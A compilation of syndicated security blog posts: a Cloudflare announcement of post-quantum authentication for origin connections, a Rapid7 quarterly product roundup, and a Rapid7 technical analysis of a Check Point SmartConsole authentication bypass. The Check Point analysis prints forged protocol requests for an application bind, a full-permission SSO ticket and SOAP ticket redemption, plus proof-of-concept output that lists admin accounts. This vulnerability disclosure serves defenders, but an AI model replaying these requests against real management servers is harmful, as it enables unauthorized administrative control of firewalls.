Post Syndicated from Luke Valenta original https://blog.cloudflare.com/post-quantum-authentication-to-origins/

Cloudflare's Authenticated Origin Pulls and Custom Origin Trust Store now support post-quantum authentication.

Here we’ll explain how you can configure fully post-quantum secure mutually authenticated TLS connections to your origin server, dive into the engineering details of how we built it, make a shameful confession, and finally explain how this work fits into our overall post-quantum migration roadmap.

Reaching a major milestone

Our focus for the past several years has been in deploying post-quantum encryption to protect against harvest-now/decrypt-later attacks, where an attacker quietly stockpiles your encrypted data with the hope of decrypting it in the future with a quantum computer.

However, recent breakthroughs in quantum computing and cryptanalysis pulled the timelines for upgrading to post-quantum cryptography forward across industry and government and have caused us to shift our attention to deploying post-quantum authentication, to protect against attackers who will soon be able to use quantum computers to break classical credentials and carry out impersonation attacks.

In a previous post, we announced that Cloudflare is targeting 2029 for full post-quantum security, and laid out several milestones to hit along the way. We have reached the first of those milestones: our Authenticated Origin Pulls and Custom Origin Trust Store products now support post-quantum (PQ) authentication via Module-Lattice-Based Digital Signature Algorithm (ML-DSA) signatures to protect connections between Cloudflare and customer origin servers. 

The origin connection is different

When a client visits a website proxied by Cloudflare, there are typically two connections involved. The first connection is from the visitor (e.g., a browser) to Cloudflare. If the request can be served from Cloudflare’s cache or triggers any blocking rules, Cloudflare might respond directly. Otherwise, Cloudflare establishes a second connection to the customer’s origin server to fetch the requested content, so it can respond to the original request.

Protecting sensitive visitor data requires both of these connections to be secure against quantum attacks. We enabled post-quantum encryption support for both the visitor-to-Cloudflare (Connection 1) and Cloudflare-to-origin (Connection 2) connections in 2022 and 2023, respectively, and already see significant usage.

We are actively working on completing the picture with post-quantum authentication. For the visitor-to-Cloudflare connection, we are collaborating with Google and others at the Internet Engineering Task Force (IETF) to develop and experiment with Merkle Tree Certificates (MTC), a design for fast, post-quantum certificates for the web, with initial deployments targeting 2027. The topic of this post, however, is the Cloudflare-to-origin connection, where the requirements for authentication differ from that of the visitor-to-Cloudflare connection in several important ways.

For this connection, Cloudflare is the client. This gives us the control to employ techniques such as connection pooling to fan in requests from all over our network to a smaller set of connections to origin servers, amortizing the overhead of connection setup over many requests. This makes the cost of “drop-in” post-quantum signatures more palatable, and the performance benefits of MTC less necessary.

And with a pre-existing trust relationship between Cloudflare and customers (i.e., a Cloudflare account), we need not tie ourselves to the constraints and timelines of the public key infrastructure (PKI) for the public Internet (WebPKI) and can instead use custom PKIs tailored to the use case, without overhead from intermediate certificates and Certificate Transparency that may not be applicable. Solutions like Cloudflare Tunnel can also be used to protect the Cloudflare-to-origin connection without upgrading legacy origin systems, by forwarding traffic over a tunnel secured with post-quantum encryption (and post-quantum authentication in the works).

All this to say, the unique requirements of the Cloudflare-to-origin connection have allowed us to deploy post-quantum authentication via ML-DSA authentication ahead of support landing in the WebPKI for the public Internet. (For customers who stick with the WebPKI, don’t worry: we’ll add MTC support on the Cloudflare-to-origin connection in the future.)

So how do you turn this on? Let’s dive into the configuration.

Configuring fully PQ-secure origin connections

We have added ML-DSA support (for all FIPS 204 parameter sets: ML-DSA-44, ML-DSA-65, and ML-DSA-87) to the Custom Origin Trust Store and Authenticated Origin Pulls products. ML-DSA-44 is our recommendation for most applications as it is the most performant option and attains a comfortable NIST category 2 security strength.

Custom Origin Trust Store

When Cloudflare makes a connection to a customer origin server configured with Full (strict) SSL mode, we authenticate the origin certificate against a default trust store consisting of all commonly trusted Certificate Authorities (CAs) as well as Cloudflare’s origin CA. The Custom Origin Trust Store (COTS) product (which requires Advanced Certificate Manager to be enabled) allows customers to replace this default trust store with a set of CAs they control. COTS now allows customers to upload ML-DSA CAs, such that Cloudflare will trust any origin server certificate chaining to that CA when connecting to the origin.

Authenticated Origin Pulls

To limit abuse and resource consumption on their origin servers, customers may want to only serve requests coming from Cloudflare’s servers. Authenticated Origin Pulls (AOP) can be used to configure Cloudflare to present a client certificate to the origin server in order to establish a mutual TLS (mTLS) connection, in which communication between the parties is bidirectionally secure and trusted. AOP is available for free on all Cloudflare plan levels.

AOP supports three configuration levels: global, per-zone, and per-hostname. The per-zone and per-hostname configuration levels now allow customers to upload ML-DSA certificates and private keys (in the FIPS 204 seed format), so that Cloudflare’s TLS client will present this certificate to authenticate itself when connecting to the origin server. (Don’t worry, we haven’t forgotten about the global configuration level — it just happens to be a more involved change that will be prioritized at a later date.)

Avoiding downgrades

Adding post-quantum encryption and authentication support to both the authenticating and verifying parties is necessary but not sufficient for full post-quantum security. The pesky issue of downgrades remains. If the verifying party supports any quantum-vulnerable authentication mechanisms, they remain open to attack from an on-path attacker capable of forging classical credentials.

The fix: the verifying party must remove trust in quantum-vulnerable authentication mechanisms. (This is more nuanced in complex PKIs. For example, see the Chromium Security team’s four-stage plan for transitioning the Web.) See the configuration guide for AOP and COTS for details on how to ensure your origin is secure against downgrade attacks.

Quick start

The walkthrough below shows how to generate an ML-DSA certificate chain and configure both products via the Cloudflare API. For dashboard instructions and additional context, refer to the developer docs.

1. Generate certificates

You will need OpenSSL 3.5.0 or later. The private key must be generated in the FIPS 204 seed-only encoding, which is the only format Cloudflare currently accepts on upload.

Origin server certificate chain for COTS:

Cloudflare client certificate chain for AOP:

2. Upload the origin CA to Custom Origin Trust Store

Uploading a COTS CA replaces the default publicly-trusted CAs for the zone. Make sure you only upload post-quantum CAs if you want to avoid downgrade attacks.

3. Upload the client certificate for Authenticated Origin Pulls

The example below uses zone-level AOP. If you prefer per-hostname AOP, use the /origin_tls_client_auth/hostnames/certificates endpoint instead.

4. Set your SSL/TLS mode to Full (strict)

Custom Origin Trust Store is only active when your zone is using Full (strict) mode. If you are using AOP without COTS, Full or higher is sufficient.

5. Configure your origin server (on NGINX)

If you are using COTS (your origin presents the ML-DSA server certificate):

If you are using AOP (your origin verifies Cloudflare's client certificate):

If you are using both together (recommended for full post-quantum mutual TLS):

6. Verify the post-quantum handshake

The TLS handshake between Cloudflare and your origin happens behind the scenes, so you cannot observe it directly by connecting to your proxied hostname from the outside. Instead, verify each side separately.

Verify COTS (origin presents an ML-DSA certificate):

If your origin IP is directly reachable (for example, during testing before enabling the Cloudflare proxy), connect to the origin IP directly and validate the certificate:

Look for Signature type: mldsa44 in the output.

If your origin is firewalled to only accept Cloudflare IPs, check your origin server's TLS logs or use a packet capture tool such as ssldump or tcpdump on the origin to confirm that Cloudflare negotiated TLS 1.3 with the ML-DSA certificate.

Verify AOP (Cloudflare presents a client certificate):

Confirm that direct connections to the origin (without a valid client certificate) are rejected:

With ssl_verify_client on enforced, this should fail with an SSL alert.

Verify the full Cloudflare-to-origin path:

Because the mTLS handshake happens server-to-server, the most reliable way to confirm that Cloudflare is presenting the ML-DSA client certificate is to inspect your origin server logs. For example, in NGINX you can log the client certificate serial number or subject:

After sending a request through Cloudflare, check the log. You should see the serial number of the aop-client.crt certificate you uploaded.

For the key agreement, ensure that your origin's TLS library supports X25519MLKEM768 and that it is preferred in your configuration. The post-quantum key agreement will be visible in origin server logs or packet captures as the negotiated group.

The boring details

Implementing this feature involved two primary systems: our control plane service that allows customers to manage their TLS settings and upload certificates, and the data plane service responsible for establishing TLS connections to origin servers based on customer configurations.

Control plane

As with many other services that power Cloudflare’s APIs and Dashboard, the service that powers the configuration for Cloudflare’s SSL/TLS products runs in a highly available setup across a set of critical data centers. The service is responsible for handling SSL/TLS settings updates and pushing them out to our globally-distributed key-value store so that they are available to data plane services when handling live requests.

Enabling ML-DSA support for AOP and COTS required updating this service to support parsing and validating ML-DSA certificates. This sounds simple on paper, but there’s a catch: the service is written in Go, but Go’s standard X.509 and TLS libraries did not yet support ML-DSA. We instead implemented the necessary functionality in Cloudflare’s CIRCL library to patch in support. This was a relatively simple change, but repeating this for every service that needs post-quantum authentication support would be a major chore.

Fortunately, Go 1.27 (expected August 2026) will include native ML-DSA support, and will allow us to drop the CIRCL dependency. Other Go-based services will then be able to seamlessly pull in ML-DSA support with a simple version update.

Data plane

With the control plane changes in place, customers could then upload ML-DSA certificates for the AOP and COTS products. The next step was to update our data plane service responsible for interacting with customer origins to actually use those certificates.

We have talked in previous blog posts about our open-source proxy framework Pingora and specifically how we have a Pingora-based service that handles all the connections to those origins. That service is unimaginatively named Pingora Origin, and it is responsible for ensuring millions of requests per second worth of origin-bound requests make it safely and securely to their final destination. 

The task of ensuring the request’s security typically falls to the TLS provider, and it may surprise you to know that post-quantum security (or in this case authenticity) is no different. It also might come as a letdown that defending against quantum attacks does not require exotic states of matter with lasers and superconducting Josephson junctions; all you need is an update to BoringSSL. Now, BoringSSL lives up to its name: over the past several years, there have been no CVEs or major changes. In fact, we relied on that stability so heavily that we have an admission to make: we snoozed Pingora Origin’s update to BoringSSL for four years, instead maintaining an internal fork to patch in additional functionality as needed. That has worked well, but when post-quantum authentication support landed in BoringSSL in April 2026, we decided that this update was worth the inconvenience.

This is where we wish we could say, “This update went perfectly. No notes!” but naturally there were some hiccups. Within the four years’ worth of code changes was this commit that enables enforcement of rules related to KeyUsage in TLS certificates. This change is in line with the specifications, but as we have seen before, the Internet is not known for being RFC compliant. The result was that even after testing the changes for weeks and a very slow release rollout looking for just this sort of regression, a small number of customers’ certificates were deemed invalid after the change, leading to an incident on June 10, 2026. We quickly rolled back the change and after a patch to retain support for RSA certificates with technically invalid KeyUsage, fully post-quantum secure TLS to origins is now live and ready to use.

We are only getting started

ML-DSA support is increasingly ubiquitous across TLS libraries, and routine software updates will bring post-quantum authentication support to many applications. (Please keep your libraries updated!) The highly-anticipated Go 1.27 (August 2026) will come with native ML-DSA support, allowing Go-based services to add post-quantum authentication with a simple version update.

As these changes propagate across the ecosystem, we will be upgrading our systems as well. See PQC in Cloudflare Products for an up-to-date tracker of post-quantum encryption and authentication support in Cloudflare products and services.

Check Point SmartConsole Authentication Bypass Technical Analysis (CVE-2026-16232)

Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/ra-check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232

Overview

On July 22, 2026, Check Point published a security advisory for CVE-2026-16232, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). By leveraging CVE-2026-16232, an unauthenticated attacker can obtain an application login token, use this token to log in through SmartConsole with full administrator privileges, and modify the security policy or security configuration. Exploitation requires network access to the Management Server and for a Trusted Clients configuration that does not restrict GUI clients, which in our testing was a default setting. This vulnerability was reported as being exploited in the wild as a zero-day vulnerability at the time of disclosure.

Our analysis finds that the root cause of CVE-2026-16232 is a broken trust boundary in the application authentication path. A vulnerable server accepts an attacker-supplied Secure Internal Communication (SIC) distinguished name (DN) as the identity of a remote application instead of binding that identity to the authenticated remote peer certificate DN returned by getCertificateDnName(). An attacker can read the management server’s own SIC DN during the unauthenticated bootstrap communication, replay that DN in a forged application certificate bind, obtain an application token, and then ask the legacy management service to mint a new SmartConsole single sign-on (SSO) ticket.

Rapid7 Labs has reproduced CVE-2026-16232 against affected R81.20 and R82.10 versions of the target software. Our proof-of-concept (PoC) exploit script can be used to successfully validate if a target is either vulnerable or patched. The vendor supplied patches have been confirmed to successfully remediate the vulnerability and prevent our PoC script from succeeding.

Analysis

SmartConsole is the desktop client administrators use to manage Check Point policy and configuration. A SmartConsole login crosses two generations of management plumbing over the network.

The first is the legacy FWM/CPMI service, listening on TCP 18190. It uses SIC, Check Point’s certificate-based trust mechanism for communication between management components. Once the SIC bootstrap completes, FWM exchanges length-prefixed “FwSet” objects, a Check Point name/value encoding used by older management services.

The second is the newer CPM/DLE service. This exposes SOAP services over HTTPS on TCP 19009 under the URI path /cpmws/. SmartConsole uses these services for login, queries, and object operations. Authenticated requests carry DLESESSIONID and CLIENTSESSIONID header values to prove a client is authenticated.

The exploit for CVE-2026-16232 uses both the FWM/CPMI and CPM/DLE services. It first uses the native FWM/CPMI protocol to claim an application identity and obtain an application token via the root cause of the vulnerability. It then uses the accepted native application session to ask FWM for a SmartConsole SSO ticket, redeems the ticket over CPM’s SOAP API, and receives a SmartConsole session.

The diagram below shows the flow for exploiting CVE-2026-16232.

figure1.png

Figure 1: Flow diagram of exploitation.

The application authentication boundary

The Java login service contains a bridge for FWM application based logins. The authenticateUser method splits the supplied username into an application name and a SIC DN, then passes both into cpApplicationAuthentication(). 

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private AuthenticationResponse authenticateUser(AuthenticationInfoBase authenticationInfoBase, String string, String string2, CPUUID cPUUID, boolean bl, LockAdminInfoContainer lockAdminInfoContainer, ExternalLoginInfo externalLoginInfo) throws AuthenticationFailureLoginException, LicenseExpiredLoginException {

// ...

} else if (authenticationInfoBase instanceof FwmAuthenticationInfo) {
    object2 = authenticationInfoBase.getUsername();
    int n = ((String)object2).toLowerCase().lastIndexOf("cn=");
    object = (FwmAuthenticationInfo)authenticationInfoBase;
    if (FwmLoginType.APPLICATION.equals((Object)object.getFwmLoginType())) {
        String suppliedSicDn = ((String)object2).substring(n); // <-- [1]
        String applicationName = ((String)object2).substring(0, n - 1); // <-- [2]
        TdLog.debug((CPLogger)c, (String)"Authenticating FwmAuthenticationInfo on behalf of application {}", (Object[])new Object[]{applicationName});
        CPApplicationAuthenticationInfo cPApplicationAuthenticationInfo = new CPApplicationAuthenticationInfo();
        cPApplicationAuthenticationInfo.setUsername(applicationName);
        this.cpApplicationAuthentication((AuthenticationInfoBase)cPApplicationAuthenticationInfo, suppliedSicDn, cPUUID);// <-- [3]
        authenticationInfoBase.setUsername(applicationName);

At [1] and [2], the login service treats attacker-controlled input as both the application name and the claimed SIC identity. At [3], the untrusted DN claim reaches the remote application authenticator as a separate argument.

The method that consumes that identity is authenticateRemoteApplication(). This method prefers the attacker-supplied DN whenever one is present.

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn) throws AuthenticationFailureLoginException {
  String effectiveSicDn = suppliedSicDn == null
          ? this.j.getCertificateDnName()
          : suppliedSicDn; // <-- [1]
  CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
  if (effectiveSicDn.equals("CN=siclocal")) {
    this.authenticateLocal(applicationName);
  } else {
    this.t.identifyDomainForRemoteLogin(effectiveSicDn); // <-- [2]
  }
}

The problem is at [1]. The vulnerable code collapses the untrusted claim and the authenticated peer identity into one variable. If suppliedSicDn is present, the code never uses getCertificateDnName() at all. The method then uses the attacker-controlled value at [2] to identify the login domain. In practice, a remote client can copy the management server’s own SIC DN into :DN and authenticate as a remote application without presenting a client certificate for that identity.

What the patch changes

Our analysis compares the decompiled com.checkpoint.management.dleserver.coresvc.internal.LoginSvcImpl class from a vulnerable “R81.20 Jumbo Hotfix Take 146” against the patched “R81.20 Jumbo Hotfix Take 158”.

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn)
         throws AuthenticationFailureLoginException {
-    String effectiveSicDn = suppliedSicDn == null
-        ? this.j.getCertificateDnName()
-        : suppliedSicDn;                                      // <-- [1]
-    CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
+    String effectiveSicDn;
+    String certificateDn = this.j.getCertificateDnName();
+    String remoteIp = this.j.getRemoteIpAddress();
+    boolean localSic = IpUtils.isLoopback(remoteIp) && "CN=siclocal".equals(certificateDn);
+    if (localSic && suppliedSicDn != null) {
+        effectiveSicDn = suppliedSicDn;                       // <-- [2]
+    } else {
+        effectiveSicDn = certificateDn;                       // <-- [3]
+        boolean mismatch = suppliedSicDn != null
+            && StringUtils.isNotEmpty(certificateDn)
+            && !suppliedSicDn.equalsIgnoreCase(certificateDn);
+        if (mismatch) {
+            TdLog.error(c,
+                "Rejecting caller-supplied SIC name that does not match the client certificate DN for application {} from {}",
+                applicationName, remoteIp);
+            throw new AuthenticationFailureLoginException(
+                "Remote authentication failed for peer " + remoteIp + "."); // <-- [4]
+        }
+    }
+    if (Strings.isNullOrEmpty(effectiveSicDn)) {
+        TdLog.error(c, "Remote application {} login rejected: no authenticated SIC identity",
+            applicationName);
+        throw new AuthenticationFailureLoginException(
+            "Remote authentication failed for peer " + remoteIp + ".");     // <-- [5]
+    }
     if (effectiveSicDn.equals("CN=siclocal")) {
         this.authenticateLocal(applicationName);
     } else {
         this.t.identifyDomainForRemoteLogin(effectiveSicDn);
     }
 }

Shown above, the vulnerable “Take 146” accepts the caller’s DN at [1]. The patched “Take 158” only allows a supplied DN for loopback CN=siclocal traffic at [2], which preserves the local application case. Remote clients now use the authenticated remote peer certificate DN at [3], and any mismatch between the supplied DN and that authenticated identity is rejected at [4]. The new empty identity check at [5] also prevents a remote application login when there is no authenticated SIC identity at all.

This is why replaying the management server’s DN no longer works. The attacker can still send the same :DN text, but the patched remote path does not use that text as effectiveSicDn. If the client presents no certificate, as in our PoC, certificateDn is empty and the check at [5] rejects the login. If the client presents a certificate with some other DN, the mismatch check at [4] rejects the forged server DN. To make the supplied server DN survive the patched checks, the attacker would need an authenticated client certificate whose subject DN already matches that server DN, which removes the unauthenticated bypass.

Protocol flow to a SmartConsole session

The relevant application-layer traffic is shown below in the order our PoC sends it. For brevity, we have omitted the boilerplate CA and CRL bootstrap exchange as it is not pertinent to the vulnerability’s root cause.

After the SIC bootstrap, the PoC sends a certificate bind request that supplies the management server’s own SIC DN (cp_mgmt,o=gw-5622ca..5otbwa in the example below):

(
    :local_bind (0)
    :token_bind (0)
    :DN ("cn=cp_mgmt,o=gw-5622ca..5otbwa") # <-- attacker-controlled identity
    :certificate_bind (1)
    :application_login ("CPM Server")
    :client_without_administrator (true)
)

Despite the :certificate_bind field name, the PoC does not load or present a client certificate in its Python TLS context. The bind request only provides the :DN claim as a text string. On a vulnerable server, the bind succeeds because the application login path accepts :DN as the effective SIC identity. The PoC then sends an open-database request, shown below, and receives the application login token described in Check Point’s advisory.

(
    :type (command)
    :subject (open-database)
    :body (
        :Name ()
        :db_open_reason ()
        :dle_session_id ()
        :database ()
        :db_open_id ("(nil)")
    )
    :no-reply (false)
)

The open-database response is a binary-encoded FwSet object. The PoC extracts the 43-character DLE token from that response and then uses it as a CPM DLESESSIONID value.

The next step is to perform a gen-sso-token request. The forged application session asks FWM to create a SmartConsole ticket whose original client claims system_admin, local SOAP binding, and a permission bitmap indicating full permissions (i.e. all permission bits are set):

(
    :type (command)
    :subject (gen-sso-token)
    :body (
        :type (SmartConsole)
        :sso_original_client (SmartConsole
            :lower_name (system_admin)
            :soap_local_bind (1)
            :permissions ("ffffffff|ffffffff|ffffffff")
        )
    )
)

The native FWM authorization code has a special case for this command. If the current client is treated as a Check Point config administrator (which it will be), a gen-sso-token request is allowed before the normal permission mask check, as shown in [1] below. 

// Source: work/native_patch/t146/fw1/fw1/bin/fwm.full (fwm_is_authorized)

_BOOL4 __cdecl fwm_is_authorized(int a1, int a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
bool v6; // zf
int v7; // edx
int v9; // [esp+14h] [ebp-34h]
int v10; // [esp+18h] [ebp-30h]
const char *v11; // [esp+1Ch] [ebp-2Ch]
_DWORD v12[7]; // [esp+2Ch] [ebp-1Ch] BYREF

  v11 = *(const char **)a2;
  v10 = CPMIGetClientPermission(a1);
  v12[0] = 0;
  v9 = CPMIGetClientAdvancedPermission(a1);
  fwobj_getint(a1, g_szCPMI_SOAP_LOCAL_BIND, v12);
  if ( v12[0] != 1 )
  {
    if ( is_fwmalert_client(a1) && strcmp(v11, "fwm-alert") )
      return 0;
    v3 = fwobj_safe_get(a1, g_szCPMI_LOWER_NAME);
    if ( strcmp(v11, "gen-sso-token") || !fwm_isCpconfigAdmin(v3) ) // <-- [1]
    {
      // Normal command permission checks follow.
      // ...
      return 0;
    }
  }
  return 1;
}

The gen-sso-token response contains a new SSO ticket. The attacker then redeems that ticket through the normal SmartConsole SOAP login path. The request below shows only the fields that matter to this analysis:

POST /cpmws/LoginSvcRemote HTTP/1.1
Host: 192.168.86.15:19009
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:l="http://www.checkpoint.com/DleWebService/LoginSvcRemote"
 xmlns:d="http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <l:loginNew>
      <d:loginRequest>
        <d:applicationName>SmartConsole</d:applicationName>
        <d:domain>a0eebc99-afed-4ef8-bb6d-fedfedfedfed</d:domain>
        <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
          <d:username>system_admin</d:username>
          <d:SSOToken>512d49aa4c026d57177bea06dd28669c889479bfa8ea6d3b53fabe59ec9e0a2e</d:SSOToken>
        </d:authenticationInfo>
      </d:loginRequest>
    </l:loginNew>
  </soap:Body>
</soap:Envelope>

The loginNew response returns the two identifiers that SmartConsole uses for later requests:

<loginNewResponse>
  <return>
    <clientSessionId>ZMKhaQEsZ7bkMSlMVR7ARhvQIeTCdqwlvrcN-Ux4CvI</clientSessionId>
    <sid>hRA3CPLRpTalxBIiv3miYGFlLy6JNHYQwqcKhD4Aktg</sid>
  </return>
</loginNewResponse>

At this point, the attacker has moved from unauthenticated network access to a SmartConsole session identified by sid and clientSessionId. Ticket redemption is also the step that produces the advisory’s log based IOC, with a message “Authentication method: application token” logged in the audit log, as shown in Figure 2 below.

figure2.png

Figure 2: Audit Log IOC.

Exploitation

Our PoC implements the minimum SIC/CPMI bootstrap needed to obtain the application token, mint the SmartConsole ticket, redeem it over SOAP, and display the results of several privileged operations before and after ticket redemption .

The following shows our PoC running against a vulnerable R81.20 target.

$ python3 CVE-2026-16232.py --target 192.168.86.15
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W45UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
    hostName: gw-5622ca
    hostIpAddress: 192.168.86.15
    osName: Linux
    osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 34bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
    admin: UNIX_PASSWORD
    Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD

For the purpose of demonstrating the vulnerability and the level of access the authentication bypass achieves, the PoC uses the authentication bypass to access some protected resources. Specifically, the PoC retrieves some basic system information via a call to getServerInfo, and retrieves the SmartConsole admin accounts via a call to GetAllAdmins.

First, the PoC uses the application token as a DLESESSIONID value for PerformanceTestSvcRemote.getServerInfo. The same SOAP method returns a fault without a valid session, while the application token returns the server information

The PoC then sends the same GetAllAdmins query twice, once with the application token and once with the redeemed SmartConsole session.

Using only the application token receives a successful query response with zero visible records, while using the redeemed SmartConsole session receives all records available.

Running the same PoC against a patched R82.10 target shows the malicious application bind request failing.

$ python3 CVE-2026-16232.py --target 192.168.86.16
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-16232 which contains further details.

What’s New in Rapid7 Products and Services: Q2 2026 in Review

Post Syndicated from Ed Montgomery original https://www.rapid7.com/blog/post/pt-new-products-services-q2-2026-mdr

If Q1 set the pace for Rapid7’s tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.

Detection and response

Streamline investigations with bidirectional and enriched Microsoft Defender alerts

Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and MDR customers, enabling security teams to automatically synchronize alert status between Rapid7’s SIEM and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.

Confidently scale detection engineering with Detection as Code

Detection as Code enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.

rapid7-detection-as-code-methodology.png
Figure 1: Rapid7’s Detection as Code methodology.

Strengthen ransomware resilience with Ransomware Prevention for Incident Command

Ransomware Prevention for Incident Command adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.

Compliance

New solutions webpages

Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s platform, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.

rapid7-govramp-compliance.png
Figure 2: Rapid7’s new GovRAMP compliance solutions page.

Exposure management

Turn prioritized exposures into remediation progress

We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.

With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full blog to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.

AI pre-triage for AppSec findings

Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for AppSec customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.

Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.

Attack surface management

Open-source MCP Server and Agent Skill

We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our blog for more detail.

rapid7-ai-agent-skill.png
Figure 3: Agent Skill for Bulk Export.

Turn exposure filters into live dashboards

Surface Command also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.

For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this blog to learn more. 

Platform and Labs

Rapid7 Command Platform

Cyber GRC

Rapid7 introduced Cyber GRC to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.

Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.

Rapid7 Labs

Rapid7 Quarterly Threat Landscape Report

The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today’s threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the report to explore all key findings and takeaways.

rapid7-quarterly-threat-report.png
Figure 4: Rapid7’s quarterly threat report.

The latest threat research

Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of criminal AI-as-a-Service and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an in-depth analysis of the Dropping Elephant malware campaign, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.

Emergent Threat Response

This quarter’s Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including Oracle PeopleSoft, Palo Alto Networks PAN-OS, Check Point VPN, Ivanti Sentry, cPanel/WHM, and Nginx UI. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, here.

From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.

Sunsetting the Public AttackerKB Platform

Post Syndicated from Douglas McKee, Director, Vulnerability Intelligence original https://www.rapid7.com/blog/post/ve-sunsetting-public-attackerkb-platform

